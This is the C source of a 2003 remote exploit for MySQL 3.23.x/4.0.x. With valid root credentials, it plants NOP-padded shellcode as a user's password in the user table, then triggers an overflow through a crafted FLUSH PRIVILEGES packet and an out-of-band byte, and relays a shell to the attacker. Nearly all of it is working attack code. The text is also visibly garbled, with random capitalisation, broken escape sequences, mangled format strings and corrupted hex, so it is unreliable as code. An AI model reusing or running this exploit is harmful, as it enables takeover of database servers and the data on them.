MySQL 3.23.x/4.0.x Remote Exploit/* exp for MySQL
* Proof of concept
* Using JMP * eax
* Bkbll (bkbll@cnhonker.net, bkbll@tom.com)
* Compile: gcc-O MySQL. C-L/usr/lib/MySQL-lmysqlclient
* Do not distrubited it
*/
# Include <stdio. h>
# Include <stdlib. h>
# Include <unistd. h>
# Include <errno. h>
# Include <sys/socket. h>
# Include <sys/types. h>
# Include <sys/select. h>
# Include <netdb. h>
# Include <MySQL/MySQL. h>
# Define pad 19*4*2
# Define jmpaddr 0x42125b2b
# Define rootuser "root"
# Define Port 3306
# Define mydb "MySQL"
# Define altcolumsql "alter table user change column Password longtext"
# Define listusersql "Select User From mysql. User where user! = 'Root' or user = 'root limit 1, 1 '"
# Define flushsql "/X11/x00/x00/x00/x03/x66/x6c/x75/x73/x68/x20/x86/x72/x69/x76/x69/x6c/X65 /x67/X65/x73"
# Define Buf 1024
MySQL * conn;
Char NOP [] = "90 ";
/*
Char shellcode [] =
"31c031db31c9b002"
"Cd8085c0751b4b31"
"D2b007cd8031c0b0"
"40cd8089c331c9b1"
"09b025cd80b001cd"
"80b017cd8031c050"
"405089e331c9b0a2"
"Cd80b1e089c883e8"
"0af7d04089c731c0"
"404c89e250505257"
"518d4c240431dbb3"
"0ab066cd805983f8"
"017505803a497409"
"E2d231c04089c3cd"
"8089fbb103b03f49"
"Cd8041e2f851686e"
"2f7425682f2f6269"
"89e351682d696c70"
"89e251525389e131"
"D231c0b00bcd8090 ";
*/
Char shellcode [] =
"Db31c03102b0c931"
"C08580cd314b1b74"
"Cd07b0d2b0c03180"
"8980cd40b1c931c3"
"Cd25b009cd01b080"
"Cd17b08050c03180"
"E3895040a2b0c931"
"E0b180cde883c889"
"40d0f70ac031c789"
"E2894c4057525050"
"244c8d51b3db3104"
"Cd66b00af8835980"
"800575010974493a"
"C031d2e2csc38940"
"B1fb8980493fb003"
"E24180cd6e6851f8"
"6868732f69622f2f"
"6851e389706c692d"
"5251e28931e18953"
"B0c031d29080cd0b ";
Int type = 1;
Struct
{
Char * OS;
U_long ret;
} Targets [] =
{
{"Glibc-2.2.93-5", 0x42125b2b },
}, V;
Void usage (char *);
Void sqlerror (char *);
MySQL * mysqlconn (char * server, int port, char * user, char * pass, char * dbname );
Main (INT argc, char ** argv)
{
Mysql_res * result;
Mysql_row row;
Char jmpaddress [8];
Char buffer [Buf], Muser [20], buf2 [800];
My_ulonglong rslines;
Struct sockaddr_in clisocket;
Int I = 0, J, clifd, Count,;
Char data1, C;
Fd_set FDS;
Char * Server = NULL, * rootpass = NULL;
If (argc <3) usage (argv [0]);
While (C = getopt (argc, argv, "d: T: P :"))! = EOF)
{
Switch (c)
{
Case 'D ':
Server = optarg;
Break;
Case 'T ':
Type = atoi (optarg );
If (type> sizeof (targets)/sizeof (V) | (type <1 ))
Usage (argv [0]);
Break;
Case 'p ':
Rootpass = optarg;
Break;
Default:
Usage (argv [0]);
Return 1;
}
}
If (Server = NULL | rootpass = NULL)
Usage (argv [0]);
Memset (Muser, 0, 20 );
Memset (buf2, 0,800 );
Printf ("@ --------------------------------------------------- @/N ");
Printf ("# MySQL 3.23.x/4.0.x Remote exploit (2003/09/12) #/N ");
Printf ("@ by bkbll (bkbll_at_cnhonker.net, bkbll_at_tom.com @/N ");
Printf ("---------------------------------------------------/N ");
Printf ("[+] connecting to MySQL server % s: % d...", server, Port );
Fflush (stdout );
Conn = mysqlconn (server, port, rootuser, rootpass, mydb );
If (conn = NULL) Exit (0 );
Printf ("OK/N ");
Printf ("[+] alter user column ...");
Fflush (stdout );
If (mysql_real_query (Conn, altcolumsql, strlen (altcolumsql ))! = 0)
Sqlerror ("alter User table failed ");
// Select
Printf ("OK/N ");
Printf ("[+] Select a valid user ...");
Fflush (stdout );
If (mysql_real_query (Conn, listusersql, strlen (listusersql ))! = 0)
Sqlerror ("Select User from table failed ");
Printf ("OK/N ");
Result = mysql_store_result (conn );
If (result = NULL)
Sqlerror ("store result error ");
Rslines = mysql_num_rows (result );
If (rslines = 0)
Sqlerror ("store result error ");
Row = mysql_fetch_row (result );
Snprintf (Muser, 19, "% s", row [0]);
Printf ("[+] Found A User: % s/n", Muser );
Memset (buffer, 0, Buf );
I = sprintf (buffer, "update user SET Password = '");
Sprintf (jmpaddress, "% x", jmpaddr );
Jmpaddress [8] = 0;
For (j = 0; j <pad-4; j + = 2)
{
Memcpy (buf2 + J, NOP, 2 );
}
Memcpy (buf2 + J, "06eb", 4 );
Memcpy (buf2 + pad, jmpaddress, 8 );
Memcpy (buf2 + pad + 8, shellcode, strlen (shellcode ));
J = strlen (buf2 );
If (J % 8)
{
J = J/8 + 1;
Count = J * 8-strlen (buf2 );
Memset (buf2 + strlen (buf2), 'A', count );
}
Printf ("[+] Password Length: % d/N", strlen (buf2 ));
Memcpy (buffer + I, buf2, strlen (buf2 ));
I + = strlen (buf2 );
I + = sprintf (buffer + I, "'where user = '% S'", Muser );
Mysql_free_result (result );
Printf ("[+] modified password ...");
Fflush (stdout );
// Get result
// Write (2, buffer, I );
If (mysql_real_query (Conn, buffer, I )! = 0)
Sqlerror ("modified Password error ");
// Here I'll find client socket FD
Printf ("OK/N ");
Printf ("[+] finding client socket ......");
J = sizeof (clisocket );
For (clifd = 3; clifd <256; clifd ++)
{
If (getpeername (clifd, (struct sockaddr *) & clisocket, & J) =-1) continue;
If (clisocket. sin_port = htons (port) break;
}
If (clifd = 256)
{
Printf ("failed/n [-] cannot find client socket/N ");
Mysql_close (conn );
Exit (0 );
}
Data1 = 'I ';
Printf ("OK/N ");
Printf ("[+] socketfd: % d/N", clifd );
// Let Server Overflow
Printf ("[+] overflow server ....");
Fflush (stdout );
Send (clifd, flushsql, sizeof (flushsql), 0 );
// If (mysql_real_query (Conn, flushsql, strlen (flushsql ))! = 0)
// Sqlerror ("Flush error ");
Printf ("OK/N ");
Printf ("[+] sending OOB .......");
Fflush (stdout );
If (send (clifd, & data1, 1, MSG_OOB) <1)
{
Perror ("error ");
Mysql_close (conn );
Exit (0 );
}
Printf ("OK/R/N ");
Printf ("[+] waiting a shell .....");
Fflush (stdout );
J = 0;
Memset (buffer, 0, Buf );
While (1)
{
Fd_zero (& FDs );
Fd_set (0, & FDs );
Fd_set (clifd, & FDs );
If (select (clifd + 1, & FDS, null) <0)
{
If (errno = eintr) continue;
Break;
}
If (fd_isset (0, & FDs ))
{
Count = read (0, buffer, Buf );
If (count <= 0) break;
If (write (clifd, buffer, count) <= 0) break;
Memset (buffer, 0, Buf );
}
If (fd_isset (clifd, & FDs ))
{
Count = read (clifd, buffer, Buf );
If (count <= 0) break;
If (j = 0) printf ("OK/N ");
J = 1;
If (write (1, buffer, count) <= 0) break;
Memset (buffer, 0, Buf );
}
}
}
Void usage (char * s)
{
Int;
Printf ("@ --------------------------------------------------- @/N ");
Printf ("# MySQL 3.23.x/4.0.x Remote exploit (2003/09/12) #/N ");
Printf ("@ by bkbll (bkbll_at_cnhonker.net, bkbll_at_tom.com @/N ");
Printf ("---------------------------------------------------/N ");
Printf ("Usage: % s-d Printf ("-D Target Host IP/name/N ");
Printf ("-P 'root' user paasword/N ");
Printf ("-T type [Default: % d]/n", type );
Printf ("------------------------------/N ");
For (A = 0; A <sizeof (targets)/sizeof (V); A ++)
Printf ("% d [0x %. 8x]: % s/n", A + 1, targets [A]. Ret, targets [A]. OS );
Printf ("/N ");
Exit (0 );
}
MySQL * mysqlconn (char * server, int port, char * user, char * pass, char * dbname)
{
MySQL * connect;
Connect = mysql_init (null );
If (connect = NULL)
{
Printf ("failed/n [-] init MySQL failed: % s/n", mysql_error (CONNECT ));
Return NULL;
}
If (mysql_real_connect (connect, server, user, pass, dbname, port, null, 0) = NULL)
{
Printf ("failed/n [-] error: % s/n", mysql_error (CONNECT ));
Return NULL;
}
Return connect;
}
Void sqlerror (char * s)
{
Fprintf (stderr, "failed/n [-] % s: % s/n", S, mysql_error (conn ));
Mysql_close (conn );
Exit (0 );
}